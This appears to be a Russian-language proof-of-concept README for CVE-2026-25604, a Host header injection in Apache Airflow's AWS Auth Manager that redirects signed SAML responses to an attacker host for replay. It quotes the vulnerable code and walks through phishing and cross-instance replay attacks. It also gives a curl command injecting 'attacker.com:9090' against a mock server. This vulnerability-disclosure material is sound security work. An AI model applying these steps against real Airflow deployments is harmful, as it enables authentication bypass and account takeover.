
A PoC для демонстрации CVE-2026-25604
Внедрение заголовка Host, приводящее к обходу аутентификации SAML в AWS Auth Manager Apache Airflow
Злоумышленник может внедрить вредоносный заголовок Host в поток входа SAML, в результате чего URL службы Assertion Consumer Service (ACS) будет указывать на сервер, контролируемый злоумышленником. Это позволяет злоумышленнику перехватывать действительные ответы SAML и повторно использовать их для получения несанкционированного доступа к экземпляру Airflow жертвы — или повторно использовать токены между различными экземплярами Airflow с разными контролями доступа.
| Пакет | Затронутые | Исправлено |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: Ошибка проверки источника в AWS Auth Manager (CWE-346)
В AWS Auth Manager источник аутентификации SAML использовался так, как его предоставил клиент, и не проверялся на соответствие фактическому URL экземпляра. Это позволяло получать доступ к разным экземплярам с потенциально разными контролями доступа путем повторного использования ответа SAML от других экземпляров.
— NVD
| Источник | Ссылка |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| Fix PR | https://github.com/apache/airflow/pull/61368 |
| Fix Commit | 1a86aec |
AWS Auth Manager Apache Airflow использует SAML 2.0 через AWS IAM Identity Center для аутентификации. При построении запроса аутентификации SAML метод _prepare_flask_request() считывает заголовок Host непосредственно из входящего HTTP-запроса для формирования URL обратного вызова ACS:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
Полученные http_host и server_port используются для построения URL AssertionConsumerService SAML. Поскольку поставщик удостоверений (IdP) доверяет этому URL, он перенаправляет аутентифицированного пользователя — вместе с подписанным ответом SAML — туда, куда указывает заголовок Host.
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
Сценарий A — Кража токена через фишинг: Злоумышленник отправляет легитимному пользователю специально созданную ссылку для входа (с поддельным заголовком Host через обратный прокси). После того как пользователь проходит аутентификацию в IAM Identity Center, ответ SAML перенаправляется на сервер злоумышленника. Злоумышленник воспроизводит его против реального экземпляра Airflow.
Сценарий B — Повторное использование токена между экземплярами: В мультитенантных средах Airflow или средах с несколькими экземплярами действительный ответ SAML от экземпляра A может быть воспроизведен для экземпляра B. Поскольку источник никогда не проверяется на соответствие фактическому URL экземпляра, разные контроли доступа на экземпляре B обходятся.
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
Настройте приложение SAML 2.0 в AWS IAM Identity Center, следуя документации AWS Auth Manager Airflow:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
Например:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
В отдельном терминале инициируйте вход SAML с измененным заголовком Host:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
Сервер отвечает 302 Redirect на страницу входа AWS IAM Identity Center. Проверьте SAML AuthnRequest — URL AssertionConsumerService будет указывать на attacker.com:9090/login_callback вместо легитимного сервера.
На консоли имитации сервера Airflow:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
SAML AuthnRequest теперь предписывает IdP доставить аутентифицированный ответ SAML на attacker.com:9090, предоставляя злоумышленнику действительный токен для повторного использования.
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — метод _prepare_flask_request():
host = request.headers.get("Host", request.host)
Эта строка доверяет заголовку Host, предоставленному клиентом, без проверки на соответствие настроенному базовому URL Airflow (AIRFLOW__API__BASE_URL).
Исправление (PR #61368, объединено 3 февраля 2026 г.) заменяет хост, полученный из запроса, значением из конфигурации Airflow: